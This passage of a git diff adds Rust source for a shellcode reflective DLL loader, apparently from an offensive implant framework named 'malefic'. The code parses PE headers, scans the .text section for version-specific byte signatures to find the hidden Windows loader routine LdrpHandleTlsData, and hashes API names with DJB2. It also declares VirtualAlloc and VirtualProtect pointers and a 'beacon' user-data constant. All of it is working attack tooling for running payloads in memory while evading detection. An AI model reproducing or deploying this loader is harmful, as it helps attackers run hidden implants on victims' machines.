get_text_range(module_base); + if text.is_null() || text_size.eq(&0) { + return null(); + } + let text = text as *const u8; + let addr = boyer_moore(text, text_size, pattern, pattern.len()); + if addr.eq(&-1) { + return null(); + } + let dos_headers = module_base as *mut IMAGE_DOS_HEADER; + if (*dos_headers).e_magic.ne(&IMAGE_DOS_SIGNATURE) { + return null(); + } + + let nt_headers = get_nt_header!(module_base); + if (*nt_headers).Signature.ne(&IMAGE_NT_SIGNATURE) { + return null(); + } + + let file_header = &(*nt_headers).FileHeader; + let option_header = &(*nt_headers).OptionalHeader; + let addr = text.add(addr as _); + return (addr as usize + + (text as usize - module_base as usize - (*option_header).BaseOfCode as usize)) + as *const core::ffi::c_void; +} + +unsafe fn get_text_range(module_base: *const c_void) -> (*const c_void, usize) { + let text_pattern: [u8; 5] = [0x2E, 0x74, 0x65, 0x78, 0x74]; + get_section_range(module_base, &text_pattern) +} + +unsafe fn find_func_start(module_base: *const c_void, call_addr: usize) -> usize { + let (text, text_size) = get_text_range(module_base); + if text.is_null() || text_size.eq(&0) { + return 0; + } + let start_addr = text as *const u16; + let end_addr = (text as usize + text_size) as *const u16; + let mut ptr = call_addr as *const u16; + if ptr.ge(&end_addr) { + return 0; + } + + loop { + let data = core::ptr::read_unaligned(ptr); + if data.eq(&0xCCCC) || data.eq(&0x9090) { + let ptr = ptr as *const u8; + let ptr = ptr.add(2); + if read_unaligned(ptr).eq(&0xcc) || read_unaligned(ptr).eq(&0x90) { + return ptr as usize + 1; + } + return ptr as usize; + } + ptr = ptr.sub(1); + if ptr.le(&start_addr) { + return 0; + } + } +} + +#[cfg(target_arch = "x86_64")] +#[no_mangle] +unsafe fn find_xref_in_text( + module_base: *const c_void, + start_pattern: &[u8], + op_code_len: usize, + xref: usize, +) -> usize { + let (text, text_size) = get_text_range(module_base); + if text.is_null() || text_size.eq(&0) { + return 0; + } + if start_pattern.len().gt(&12) { + return 0; + } + let mut start_addr = text as *const u8; + let mut size = text_size; + let xref_addr = module_base as usize + xref; + let mut new_pattern: [u8; 16] = core::mem::MaybeUninit::uninit().assume_init(); + srdi_memset(&mut new_pattern as *mut _ as _, 0, 16); + srdi_memcpy( + new_pattern.as_mut_ptr() as _, + start_pattern.as_ptr() as _, + start_pattern.len(), + ); + let xref_op = pointer_add(new_pattern.as_ptr() as _, start_pattern.len()); + let left_len = 16 - start_pattern.len(); + loop { + let offset = boyer_moore(start_addr, size, &start_pattern, start_pattern.len()); + if offset.eq(&-1) { + return 0; + } + let rv_offset = (xref_addr - (start_addr as usize + offset as usize) - op_code_len) as i32; + let rv_offset_bytes = rv_offset.to_le_bytes(); + srdi_memset(xref_op as _, 0, left_len); + srdi_memcpy( + xref_op as _, + rv_offset_bytes.as_ptr() as _, + rv_offset_bytes.len(), + ); + let new_len = start_pattern.len() + rv_offset_bytes.len(); + let new_offset = boyer_moore( + start_addr.offset(offset), + new_pattern.len(), + &new_pattern, + new_len, + ); + if new_offset.eq(&-1) { + let offset = offset as usize + op_code_len; + start_addr = start_addr.add(offset); + if start_addr.gt(&(text as *const u8).add(text_size)) { + return 0; + } else if size.le(&offset) { + return 0; + } + size = size - offset; + continue; + } + return start_addr.offset(offset) as usize - module_base as usize; + } +} + +#[cfg(target_arch = "x86")] +#[no_mangle] +unsafe fn find_xref_in_text_without_rva( + module_base: *const c_void, + start_pattern: &[u8], + op_code_len: usize, + xref: usize, +) -> usize { + let (text, text_size) = get_text_range(module_base); + if text.is_null() || text_size.eq(&0) { + return 0; + } + if start_pattern.len().gt(&12) { + return 0; + } + let mut new_pattern: [u8; 16] = core::mem::MaybeUninit::uninit().assume_init(); + srdi_memset(&mut new_pattern as *mut _ as _, 0, 16); + srdi_memcpy( + new_pattern.as_mut_ptr() as _, + start_pattern.as_ptr() as _, + start_pattern.len(), + ); + let xref = (xref as i32).to_le_bytes(); + srdi_memcpy( + new_pattern.as_mut_ptr().add(start_pattern.len()) as _, + xref.as_ptr() as _, + xref.len(), + ); + let offset = boyer_moore(text as _, text_size, &new_pattern, op_code_len); + if offset.eq(&-1) { + return 0; + } + return text.offset(offset) as usize - module_base as usize; +} + +#[no_mangle] +unsafe fn find_call_rva_in_text( + module_base: *const c_void, + func_addr: usize, + black_list: &[usize], +) -> usize { + let (text, text_size) = get_text_range(module_base); + if text.is_null() || text_size.eq(&0) { + return 0; + } + + let mut start_addr = text as *const u8; + let mut size = text_size; + let call_patt = [0xE8]; + loop { + // let offset = boyer_moore(start_addr, size, call_patt.as_ptr(), call_patt.len()); + let offset = boyer_moore(start_addr, size, &call_patt, call_patt.len()); + if offset.eq(&-1) { + return 0; + } + let call_addr = start_addr as isize + offset; + let rva = (func_addr as isize - call_addr as isize) as i32; + let current_rva = calc_call_rva(start_addr as usize + offset as usize); + if current_rva.eq(&rva) && !black_list.contains(&(call_addr as usize)) { + return start_addr as usize + offset as usize; + } + let offset = offset + 1; + start_addr = start_addr.offset(offset); + if start_addr.gt(&(text as *const u8).add(text_size)) { + return 0; + } else if size.le(&(offset as _)) { + return 0; + } + size = size - offset as usize; + continue; + } +} + +unsafe fn calc_call_rva(start_addr: usize) -> i32 { + let addr = (start_addr + 1) as *const i32; + let call_addr = core::ptr::read_unaligned(addr); + return call_addr + 5; +} + +#[no_mangle] +extern "C" fn memcpy(dest: *mut c_void, src: *const c_void, size: usize) -> *mut c_void { + unsafe { + srdi_memcpy(dest as _, src as _, size); + } + dest +} + +#[no_mangle] +extern "C" fn memcmp(dest: *const c_void, src: *const c_void, size: usize) -> i32 { + unsafe { srdi_memcmp(dest as _, src as _, size) } +} + +#[no_mangle] +pub extern "C" fn memmove(dest: *mut u8, src: *const u8, n: usize) -> *mut u8 { + if src < dest as *const u8 { + for i in (0..n).rev() { + unsafe { + *dest.add(i) = *src.add(i); + } + } + } else { + for i in 0..n { + unsafe { + *dest.add(i) = *src.add(i); + } + } + } + dest +} + +#[no_mangle] +#[cfg(target_arch = "x86_64")] +pub extern "system" fn __CxxFrameHandler3(_: *mut u8, _: *mut u8, _: *mut u8, _: *mut u8) -> i32 { + unimplemented!() +} + +#[no_mangle] +#[cfg(target_arch = "x86")] +#[no_mangle] +unsafe extern "C" fn __CxxFrameHandler3() { + unreachable!() +} + +#[repr(C)] +struct ldrp_handle_tls_search { + pattern: [u8; 0x10], + real_len: usize, + offset: usize, +} + +unsafe fn get_ldrp_handle_tls_offset_data(win_ver: &WinVer) -> ldrp_handle_tls_search { + let mut ret_pattern: ldrp_handle_tls_search = core::mem::zeroed(); + #[cfg(target_arch = "x86_64")] + { + if IsWindows10RS3OrGreater(win_ver) { + let mut offset = 0x43; + if IsWindows1019H1OrGreater(win_ver) { + offset = 0x46; + } else if IsWindows10RS4OrGreater(win_ver) { + offset = 0x44; + } + let pattern = [0x74, 0x33, 0x44, 0x8D, 0x43, 0x09]; + srdi_memcpy( + ret_pattern.pattern.as_mut_ptr(), + pattern.as_ptr(), + pattern.len(), + ); + ret_pattern.offset = offset; + ret_pattern.real_len = pattern.len(); + // return (b"\x74\x33\x44\x8d\x43\x09", offset); + } else if IsWindows10RS2OrGreater(win_ver) { + let pattern = [0x74, 0x33, 0x44, 0x8D, 0x43, 0x09]; + srdi_memcpy( + ret_pattern.pattern.as_mut_ptr(), + pattern.as_ptr(), + pattern.len(), + ); + ret_pattern.real_len = pattern.len(); + ret_pattern.offset = 0x43; + } else if IsWindows8Point1OrGreater(win_ver) { + let pattern = [0x44, 0x8D, 0x43, 0x09, 0x4C, 0x8D, 0x4C, 0x24, 0x38]; + srdi_memcpy( + ret_pattern.pattern.as_mut_ptr(), + pattern.as_ptr(), + pattern.len(), + ); + ret_pattern.real_len = pattern.len(); + ret_pattern.offset = 0x43; + // return (b"\x44\x8d\x43\x09\x4c\x8d\x4c\x24\x38", 0x43); + } else if IsWindows8OrGreater(win_ver) { + let pattern = [0x48, 0x8B, 0x79, 0x30, 0x45, 0x8D, 0x66, 0x01]; + srdi_memcpy( + ret_pattern.pattern.as_mut_ptr(), + pattern.as_ptr(), + pattern.len(), + ); + ret_pattern.real_len = pattern.len(); + ret_pattern.offset = 0x49; + // return (b"\x48\x8b\x79\x30\x45\x8d\x66\x01", 0x49); + } else if IsWindows7OrGreater(win_ver) { + let pattern = [ + 0x41, 0xB8, 0x09, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x44, 0x24, 0x38, + ]; + srdi_memcpy( + ret_pattern.pattern.as_mut_ptr(), + pattern.as_ptr(), + pattern.len(), + ); + ret_pattern.real_len = pattern.len(); + ret_pattern.offset = 0x27; + } + } + #[cfg(target_arch = "x86")] + { + if IsWindows10RS3OrGreater(win_ver) { + let pattern = [0x8b, 0xc1, 0x8d, 0x4d, 0x08, 0x51]; + srdi_memcpy( + ret_pattern.pattern.as_mut_ptr(), + pattern.as_ptr(), + pattern.len(), + ); + ret_pattern.real_len = pattern.len(); + // let mut pattern = b"\x8b\xc1\x8d\x4d\xbc\x51"; + if IsWindows10RS5OrGreater(win_ver) { + let pattern = [0x33, 0xf6, 0x85, 0xc0, 0x79, 0x03]; + srdi_memcpy( + ret_pattern.pattern.as_mut_ptr(), + pattern.as_ptr(), + pattern.len(), + ); + ret_pattern.real_len = pattern.len(); + // pattern = b"\x33\xf6\x85\xc0\x79\x03"; + } else if IsWindows10RS4OrGreater(win_ver) { + let pattern = [0x8b, 0xc1, 0x8d, 0x4d, 0xac, 0x51]; + srdi_memcpy( + ret_pattern.pattern.as_mut_ptr(), + pattern.as_ptr(), + pattern.len(), + ); + ret_pattern.real_len = pattern.len(); + // pattern = b"\x8b\xc1\x8d\x4d\xac\x51"; + } + // let mut offset = 0x18; + ret_pattern.offset = 0x18; + if IsWindows1020H1OrGreater(win_ver) { + ret_pattern.offset = 0x2c; + // offset = 0x2C; + } else if IsWindows1019H1OrGreater(win_ver) { + ret_pattern.offset = 0x2e; + // offset = 0x2E; + } else if IsWindows10RS5OrGreater(win_ver) { + ret_pattern.offset = 0x2c; + // offset = 0x2C; + } + // return (pattern, offset); + } else if IsWindows10RS2OrGreater(win_ver) { + let pattern = [0x8b, 0xc1, 0x8d, 0x4d, 0xbc, 0x51]; + srdi_memcpy( + ret_pattern.pattern.as_mut_ptr(), + pattern.as_ptr(), + pattern.len(), + ); + ret_pattern.real_len = pattern.len(); + ret_pattern.offset = 0x18; + // return (b"\x8b\xc1\x8d\x4d\xbc\x51", 0x18); + } else if IsWindows8Point1OrGreater(win_ver) { + let pattern = [0x50, 0x6a, 0x09, 0x6a, 0x01, 0x8b, 0xc1]; + srdi_memcpy( + ret_pattern.pattern.as_mut_ptr(), + pattern.as_ptr(), + pattern.len(), + ); + ret_pattern.real_len = pattern.len(); + ret_pattern.offset = 0x1B; + // return (b"\x50\x6a\x09\x6a\x01\x8b\xc1", 0x1B); + } else if IsWindows8OrGreater(win_ver) { + let pattern = [0x8b, 0x45, 0x08, 0x89, 0x45, 0xa0]; + srdi_memcpy( + ret_pattern.pattern.as_mut_ptr(), + pattern.as_ptr(), + pattern.len(), + ); + ret_pattern.real_len = pattern.len(); + ret_pattern.offset = 0xC; + // return (b"\x8b\x45\x08\x89\x45\xa0", 0xC); + } else if IsWindows7OrGreater(win_ver) { + let pattern = [0x74, 0x20, 0x8d, 0x45, 0xd4, 0x50, 0x6a, 0x09]; + srdi_memcpy( + ret_pattern.pattern.as_mut_ptr(), + pattern.as_ptr(), + pattern.len(), + ); + ret_pattern.real_len = pattern.len(); + ret_pattern.offset = 0x14; + // return (b"\x74\x20\x8d\x45\xd4\x50\x6a\x09", 0x14); + } + } + return ret_pattern; +} diff --git a/malefic-crates/srdi/src/main.rs b/malefic-crates/srdi/src/main.rs new file mode 100644 index 0000000..c061c7b --- /dev/null +++ b/malefic-crates/srdi/src/main.rs @@ -0,0 +1,26 @@ +#![allow(dead_code)] +#![allow(non_snake_case)] +#![allow(non_camel_case_types)] +#![allow(non_upper_case_globals)] +#![allow(overflowing_literals)] +#![allow(invalid_value)] +#![feature(naked_functions)] +#![no_std] +#![no_main] + +#[macro_use] +pub mod utils; + +pub mod types; + +pub mod loader; + +#[no_mangle] +pub unsafe extern "C" fn main( + module_base: *const core::ffi::c_void, + entry_func: *const core::ffi::c_void, + user_data: *const core::ffi::c_void, + user_data_len: usize, +) { + loader::loader(module_base, entry_func, user_data, user_data_len); +} diff --git a/malefic-crates/srdi/src/types.rs b/malefic-crates/srdi/src/types.rs new file mode 100644 index 0000000..12f7eb1 --- /dev/null +++ b/malefic-crates/srdi/src/types.rs @@ -0,0 +1,210 @@ +// use windows_sys::Win32::System::Diagnostics::Debug::IMAGE_RUNTIME_FUNCTION_ENTRY; + +pub type DllMain = + unsafe extern "system" fn(*mut core::ffi::c_void, u32, *mut core::ffi::c_void) -> i32; +pub const IMAGE_ORDINAL: usize = 0xffff; +pub const DLL_BEACON_USER_DATA: u32 = 0x0du32; + +#[repr(C)] +pub struct BASE_RELOCATION_BLOCK { + pub PageAddress: u32, + pub BlockSize: u32, +} + +#[repr(C)] +#[derive(Copy, Clone)] +pub struct BASE_RELOCATION_ENTRY { + offset_type: u16, +} + +impl BASE_RELOCATION_ENTRY { + pub fn offset_(&self) -> u16 { + self.offset_type & 0xFFF + } + + pub fn type_(&self) -> u16 { + (self.offset_type >> 12) & 0xF + } +} + +pub type PBASE_RELOCATION_ENTRY = *mut BASE_RELOCATION_ENTRY; + +#[repr(C)] +pub struct IMAGE_RUNTIME_FUNCTION_ENTRY_u([u32; 1]); +impl Copy for IMAGE_RUNTIME_FUNCTION_ENTRY_u {} +impl Clone for IMAGE_RUNTIME_FUNCTION_ENTRY_u { + #[inline] + fn clone(&self) -> IMAGE_RUNTIME_FUNCTION_ENTRY_u { + *self + } +} +impl IMAGE_RUNTIME_FUNCTION_ENTRY_u { + pub unsafe fn UnwindInfoAddress(&self) -> &u32 { + &*(self as *const _ as *const u32) + } + + pub unsafe fn UnwindInfoAddress_mut(&mut self) -> &mut u32 { + &mut *(self as *mut _ as *mut u32) + } + + pub unsafe fn UnwindData(&self) -> &u32 { + &*(self as *const _ as *const u32) + } + + pub unsafe fn UnwindData_mut(&mut self) -> &mut u32 { + &mut *(self as *mut _ as *mut u32) + } +} + +pub type RTL_OSVERSIONINFOEXW = OSVERSIONINFOEXW; + +STRUCT! { + struct OSVERSIONINFOEXW { + dwOSVersionInfoSize: u32, + dwMajorVersion: u32, + dwMinorVersion: u32, + dwBuildNumber: u32, + dwPlatformId: u32, + szCSDVersion: [u16; 128], + wServicePackMajor: u16, + wServicePackMinor: u16, + wSuiteMask: u16, + wProductType: u8, + wReserved: u8, + } +} + +#[repr(C)] +pub struct _IMAGE_RUNTIME_FUNCTION_ENTRY { + pub BeginAddress: u32, + pub EndAddress: u32, + pub u: IMAGE_RUNTIME_FUNCTION_ENTRY_u, +} + +pub type IMAGE_RUNTIME_FUNCTION_ENTRY = _IMAGE_RUNTIME_FUNCTION_ENTRY; +pub type PRUNTIME_FUNCTION = *const IMAGE_RUNTIME_FUNCTION_ENTRY; + +pub type VirtualAlloc = unsafe extern "system" fn( + lpaddress: *const ::core::ffi::c_void, + dwsize: usize, + flallocationtype: u32, + flprotect: u32, +) -> *mut ::core::ffi::c_void; + +pub type LoadLibraryA = + unsafe extern "system" fn(lplibfilename: *const i8) -> *mut ::core::ffi::c_void; + +pub type GetProcAddress = unsafe extern "system" fn( + hmodule: *mut ::core::ffi::c_void, + lpprocname: *const i8, +) -> *mut ::core::ffi::c_void; + +pub type RtlAddFunctionTable = unsafe extern "system" fn( + functiontable: *const IMAGE_RUNTIME_FUNCTION_ENTRY, + entrycount: u32, + baseaddress: u64, +) -> u8; + +pub type NtFlushInstructionCache = unsafe extern "system" fn( + hprocess: isize, + lpbaseaddress: *const ::core::ffi::c_void, + dwsize: usize, +) -> i32; + +pub type VirtualProtect = unsafe extern "system" fn( + lpaddress: *const ::core::ffi::c_void, + dwsize: usize, + flnewprotect: u32, + lpfloldprotect: *mut u32, +) -> i32; + +pub type LdrpHandleTlsData = unsafe extern "system" fn(hmodule: *mut ::core::ffi::c_void) -> i32; + +pub type LdrpHandleTlsDataWin8Point1OrGreater = + unsafe extern "thiscall" fn(hmodule: *mut ::core::ffi::c_void) -> i32; + +pub type LdrpHandleTlsDataOther = + unsafe extern "stdcall" fn(hmodule: *mut ::core::ffi::c_void) -> i32; + +pub type RtlGetVersion = + unsafe extern "system" fn(lpversioninformation: *mut OSVERSIONINFOEXW) -> i32; + +ENUM! { + enum Win32WinNt { + WIN32_WIN_NT_NT4 = 0x0400, + WIN32_WIN_NT_WIN2_K = 0x0500, + WIN32_WIN_NT_WINXP = 0x0501, + WIN32_WIN_NT_WS03 = 0x0502, + WIN32_WIN_NT_WIN6 = 0x0600, + WIN32_WIN_NT_VISTA = 0x0600, + WIN32_WIN_NT_WS08 = 0x0600, + WIN32_WIN_NT_LONGHORN = 0x0600, + WIN32_WIN_NT_WIN7 = 0x0601, + WIN32_WIN_NT_WIN8 = 0x0602, + WIN32_WIN_NT_WINBLUE = 0x0603, + WIN32_WIN_NT_WIN10 = 0x0A00, + } +} + +pub enum BuildThreshold { + BUILD_RS0 = 10586, + BUILD_RS1 = 14393, + BUILD_RS2 = 15063, + BUILD_RS3 = 16299, + BUILD_RS4 = 17134, + BUILD_RS5 = 17763, + BUILD_19_H1 = 18362, + BUILD_19_H2 = 18363, + BUILD_20_H1 = 19041, + BUILD_Win11Beta = 21996, + BUILD_RS_MAX = 99999, +} + +pub enum VerShort { + WIN_UNSUPPORTED, // Unsupported OS + WIN_XP, // Windows XP + WIN7, // Windows 7 + WIN8, // Windows 8 + WIN8_POINT1, // Windows 8.1 + WIN10, // Windows 10 + WIN10_RS1, // Windows 10 Anniversary update + WIN10_RS2, // Windows 10 Creators update + WIN10_RS3, // Windows 10 Fall Creators update + WIN10_RS4, // Windows 10 Spring Creators update + WIN10_RS5, // Windows 10 October 2018 update + WIN10_RS6, // Windows 10 May 2019 update + WIN10_19H1, // Windows 10 May 2019 update + WIN10_19H2, // Windows 10 November 2019 update + WIN10_20H1, // Windows 10 April 2020 update + WIN11_Beta, // Windows 11 Beta +} + +impl From for VerShort { + fn from(ver: u32) -> Self { + match ver { + 0 => VerShort::WIN_UNSUPPORTED, + 1 => VerShort::WIN_XP, + 2 => VerShort::WIN7, + 3 => VerShort::WIN8, + 4 => VerShort::WIN8_POINT1, + 5 => VerShort::WIN10, + 6 => VerShort::WIN10_RS1, + 7 => VerShort::WIN10_RS2, + 8 => VerShort::WIN10_RS3, + 9 => VerShort::WIN10_RS4, + 10 => VerShort::WIN10_RS5, + 11 => VerShort::WIN10_RS6, + 12 => VerShort::WIN10_19H1, + 13 => VerShort::WIN10_19H2, + 14 => VerShort::WIN10_20H1, + 15 => VerShort::WIN11_Beta, + _ => VerShort::WIN_UNSUPPORTED, + } + } +} + +pub struct WinVer { + pub ver: VerShort, + pub rversion: u32, + pub native: OSVERSIONINFOEXW, +} diff --git a/malefic-crates/srdi/src/utils.rs b/malefic-crates/srdi/src/utils.rs new file mode 100644 index 0000000..1b17064 --- /dev/null +++ b/malefic-crates/srdi/src/utils.rs @@ -0,0 +1,450 @@ +use core::ffi::c_void; + +use crate::types::{ + BuildThreshold, WinVer, WIN32_WIN_NT_VISTA, WIN32_WIN_NT_WIN10, WIN32_WIN_NT_WIN7, + WIN32_WIN_NT_WIN8, WIN32_WIN_NT_WINBLUE, WIN32_WIN_NT_WINXP, +}; + +#[macro_export] +macro_rules! ENUM { + {enum $name:ident { $($variant:ident = $value:expr,)+ }} => { + pub type $name = u32; + $(pub const $variant: $name = $value;)+ + }; + {enum $name:ident { $variant:ident = $value:expr, $($rest:tt)* }} => { + pub type $name = u32; + pub const $variant: $name = $value; + ENUM!{@gen $name $variant, $($rest)*} + }; + {enum $name:ident { $variant:ident, $($rest:tt)* }} => { + ENUM!{enum $name { $variant = 0, $($rest)* }} + }; + {@gen $name:ident $base:ident,} => {}; + {@gen $name:ident $base:ident, + $variant:ident = $value:expr, $($rest:tt)*} => { + pub const $variant: $name = $value; + ENUM!{@gen $name $variant, $($rest)*} + }; + {@gen $name:ident $base:ident, $variant:ident, $($rest:tt)*} => { + pub const $variant: $name = $base + 1u32; + ENUM!{@gen $name $variant, $($rest)*} + }; +} + +#[macro_export] +macro_rules! STRUCT { + ($(#[$attrs:meta])* struct $name:ident { + $($field:ident: $ftype:ty,)+ + }) => ( + #[repr(C)] #[derive(Copy)] $(#[$attrs])* + pub struct $name { + $(pub $field: $ftype,)+ + } + impl Clone for $name { + #[inline] + fn clone(&self) -> $name { *self } + } + ); +} + +#[macro_export] +macro_rules! get_nt_header { + ($base_addr: expr) => {{ + let dos_header = $base_addr as *mut winapi::um::winnt::IMAGE_DOS_HEADER; + pointer_add($base_addr, (*dos_header).e_lfanew as _) + as *mut winapi::um::winnt::IMAGE_NT_HEADERS + }}; +} + +pub fn get_cstr_len(pointer: *const u8) -> usize { + unsafe { + (0..) + .take_while(|&i| *(((pointer as usize) + i) as *const u8) != 0) + .count() + } +} + +pub fn get_wcstr_len(pointer: *const u16) -> usize { + unsafe { + (0..) + .take_while(|&i| *(((pointer as usize) + i) as *const u16) != 0) + .count() + } +} + +pub unsafe fn srdi_memcpy(dest: *mut u8, src: *const u8, n: usize) { + let mut i = 0; + while i < n { + *dest.add(i) = *src.add(i); + i += 1; + } +} + +pub unsafe fn srdi_memcmp(s1: *const u8, s2: *const u8, n: usize) -> i32 { + let mut i = 0; + while i < n { + if *s1.add(i) != *s2.add(i) { + return *s1.add(i) as i32 - *s2.add(i) as i32; + } + i += 1; + } + 0 +} + +pub unsafe fn srdi_memcpy_usize(dest: *mut c_void, src: usize) { + *(dest as *mut usize) = src; +} + +pub unsafe fn pointer_add(base_point: *const T, offset: usize) -> *const c_void { + return ((base_point as *const c_void) as usize + offset) as *const c_void; +} + +pub unsafe fn pointer_sub(base_point: *const T, offset: usize) -> *const c_void { + return ((base_point as *const c_void) as usize - offset) as *const c_void; +} + +pub unsafe fn srdi_memset(dest: *mut u8, value: u8, n: usize) { + let mut i = 0; + while i < n { + *dest.add(i) = value; + i += 1; + } +} + +#[inline] +pub fn LOBYTE(l: u16) -> u8 { + (l & 0xff) as u8 +} +#[inline] +pub fn HIBYTE(l: u16) -> u8 { + ((l >> 8) & 0xff) as u8 +} + +pub fn dbj2_str_hash(buffer: &[u8]) -> u32 { + let mut hsh: u32 = 5381; + let mut iter: usize = 0; + let mut cur: u8; + + while iter.lt(&buffer.len()) { + cur = buffer[iter]; + + if cur.eq(&0) { + iter += 1; + continue; + } + + if cur.ge(&('a' as u8)) { + cur -= 0x20; + } + + hsh = ((hsh << 5).wrapping_add(hsh)) + cur as u32; + iter += 1; + } + + return hsh; +} + +pub fn dbj2_hash(buffer: &[u16]) -> u32 { + let mut hsh: u32 = 5381; + let mut iter: usize = 0; + let mut cur: u16; + + while iter.lt(&buffer.len()) { + cur = buffer[iter]; + + if cur.eq(&0) { + iter += 1; + continue; + } + + if cur.ge(&('a' as u16)) { + cur -= 0x20; + } + + hsh = ((hsh << 5).wrapping_add(hsh)) + cur as u32; + iter += 1; + } + return hsh; +} + +pub unsafe fn IsWindowsVersionOrGrearter( + win_ver: &WinVer, + major_version: u16, + minor_version: u16, + service_pack_major: u16, + build_number: u16, +) -> bool { + if win_ver.native.dwMajorVersion.eq(&0) { + return false; + } + if win_ver.native.dwMajorVersion > major_version as _ { + return true; + } + if win_ver.native.dwMajorVersion < major_version as _ { + return false; + } + if win_ver.native.dwMinorVersion > minor_version as _ { + return true; + } + if win_ver.native.dwMinorVersion < minor_version as _ { + return false; + } + if win_ver.native.wServicePackMajor > service_pack_major { + return true; + } + if win_ver.native.wServicePackMajor < service_pack_major { + return false; + } + if win_ver.native.dwBuildNumber >= build_number as _ { + return true; + } + + false +} + +pub unsafe fn IsWindowsXPOrGreater(win_ver: &WinVer) -> bool { + IsWindowsVersionOrGrearter( + win_ver, + HIBYTE(WIN32_WIN_NT_WINXP as u16) as _, + LOBYTE(WIN32_WIN_NT_WINXP as u16) as _, + 0, + 0, + ) +} + +pub unsafe fn IsWindowsXPSP1OrGreater(win_ver: &WinVer) -> bool { + IsWindowsVersionOrGrearter( + win_ver, + HIBYTE(WIN32_WIN_NT_WINXP as u16) as _, + LOBYTE(WIN32_WIN_NT_WINXP as u16) as _, + 1, + 0, + ) +} + +pub unsafe fn IsWindowsXPSP2OrGreater(win_ver: &WinVer) -> bool { + IsWindowsVersionOrGrearter( + win_ver, + HIBYTE(WIN32_WIN_NT_WINXP as u16) as _, + LOBYTE(WIN32_WIN_NT_WINXP as u16) as _, + 2, + 0, + ) +} + +pub unsafe fn IsWindowsXPSP3OrGreater(win_ver: &WinVer) -> bool { + IsWindowsVersionOrGrearter( + win_ver, + HIBYTE(WIN32_WIN_NT_WINXP as u16) as _, + LOBYTE(WIN32_WIN_NT_WINXP as u16) as _, + 3, + 0, + ) +} + +pub unsafe fn IsWindowsVistaOrGreater(win_ver: &WinVer) -> bool { + IsWindowsVersionOrGrearter( + win_ver, + HIBYTE(WIN32_WIN_NT_VISTA as u16) as _, + LOBYTE(WIN32_WIN_NT_VISTA as u16) as _, + 0, + 0, + ) +} + +pub unsafe fn IsWindowsVistaSP1OrGreater(win_ver: &WinVer) -> bool { + IsWindowsVersionOrGrearter( + win_ver, + HIBYTE(WIN32_WIN_NT_VISTA as u16) as _, + LOBYTE(WIN32_WIN_NT_VISTA as u16) as _, + 1, + 0, + ) +} + +pub unsafe fn IsWindowsVistaSP2OrGreater(win_ver: &WinVer) -> bool { + IsWindowsVersionOrGrearter( + win_ver, + HIBYTE(WIN32_WIN_NT_VISTA as u16) as _, + LOBYTE(WIN32_WIN_NT_VISTA as u16) as _, + 2, + 0, + ) +} + +pub unsafe fn IsWindows7OrGreater(win_ver: &WinVer) -> bool { + IsWindowsVersionOrGrearter( + win_ver, + HIBYTE(WIN32_WIN_NT_WIN7 as u16) as _, + LOBYTE(WIN32_WIN_NT_WIN7 as u16) as _, + 0, + 0, + ) +} + +pub unsafe fn IsWindows7SP1OrGreater(win_ver: &WinVer) -> bool { + IsWindowsVersionOrGrearter( + win_ver, + HIBYTE(WIN32_WIN_NT_WIN7 as u16) as _, + LOBYTE(WIN32_WIN_NT_WIN7 as u16) as _, + 1, + 0, + ) +} + +pub unsafe fn IsWindows8OrGreater(win_ver: &WinVer) -> bool { + IsWindowsVersionOrGrearter( + win_ver, + HIBYTE(WIN32_WIN_NT_WIN8 as u16) as _, + LOBYTE(WIN32_WIN_NT_WIN8 as u16) as _, + 0, + 0, + ) +} + +pub unsafe fn IsWindows8Point1OrGreater(win_ver: &WinVer) -> bool { + IsWindowsVersionOrGrearter( + win_ver, + HIBYTE(WIN32_WIN_NT_WINBLUE as u16) as _, + LOBYTE(WIN32_WIN_NT_WINBLUE as u16) as _, + 0, + 0, + ) +} + +pub unsafe fn IsWindows10OrGreater(win_ver: &WinVer) -> bool { + IsWindowsVersionOrGrearter( + win_ver, + HIBYTE(WIN32_WIN_NT_WIN10 as u16) as _, + LOBYTE(WIN32_WIN_NT_WIN10 as u16) as _, + 0, + 0, + ) +} + +pub unsafe fn IsWindows10RS1OrGreater(win_ver: &WinVer) -> bool { + IsWindowsVersionOrGrearter( + win_ver, + HIBYTE(WIN32_WIN_NT_WIN10 as u16) as _, + LOBYTE(WIN32_WIN_NT_WIN10 as u16) as _, + 0, + BuildThreshold::BUILD_RS1 as u16, + ) +} + +pub unsafe fn IsWindows10RS2OrGreater(win_ver: &WinVer) -> bool { + IsWindowsVersionOrGrearter( + win_ver, + HIBYTE(WIN32_WIN_NT_WIN10 as u16) as _, + LOBYTE(WIN32_WIN_NT_WIN10 as u16) as _, + 0, + BuildThreshold::BUILD_RS2 as u16, + ) +} + +pub unsafe fn IsWindows10RS3OrGreater(win_ver: &WinVer) -> bool { + IsWindowsVersionOrGrearter( + win_ver, + HIBYTE(WIN32_WIN_NT_WIN10 as u16) as _, + LOBYTE(WIN32_WIN_NT_WIN10 as u16) as _, + 0, + BuildThreshold::BUILD_RS3 as u16, + ) +} + +pub unsafe fn IsWindows10RS4OrGreater(win_ver: &WinVer) -> bool { + IsWindowsVersionOrGrearter( + win_ver, + HIBYTE(WIN32_WIN_NT_WIN10 as u16) as _, + LOBYTE(WIN32_WIN_NT_WIN10 as u16) as _, + 0, + BuildThreshold::BUILD_RS4 as u16, + ) +} + +pub unsafe fn IsWindows10RS5OrGreater(win_ver: &WinVer) -> bool { + IsWindowsVersionOrGrearter( + win_ver, + HIBYTE(WIN32_WIN_NT_WIN10 as u16) as _, + LOBYTE(WIN32_WIN_NT_WIN10 as u16) as _, + 0, + BuildThreshold::BUILD_RS5 as u16, + ) +} + +pub unsafe fn IsWindows1019H1OrGreater(win_ver: &WinVer) -> bool { + IsWindowsVersionOrGrearter( + win_ver, + HIBYTE(WIN32_WIN_NT_WIN10 as u16) as _, + LOBYTE(WIN32_WIN_NT_WIN10 as u16) as _, + 0, + BuildThreshold::BUILD_19_H1 as u16, + ) +} + +pub unsafe fn IsWindows1019H2OrGreater(win_ver: &WinVer) -> bool { + IsWindowsVersionOrGrearter( + win_ver, + HIBYTE(WIN32_WIN_NT_WIN10 as u16) as _, + LOBYTE(WIN32_WIN_NT_WIN10 as u16) as _, + 0, + BuildThreshold::BUILD_19_H2 as u16, + ) +} + +pub unsafe fn IsWindows1020H1OrGreater(win_ver: &WinVer) -> bool { + IsWindowsVersionOrGrearter( + win_ver, + HIBYTE(WIN32_WIN_NT_WIN10 as u16) as _, + LOBYTE(WIN32_WIN_NT_WIN10 as u16) as _, + 0, + BuildThreshold::BUILD_20_H1 as u16, + ) +} + +pub unsafe fn IsWindows11BetaOrGreater(win_ver: &WinVer) -> bool 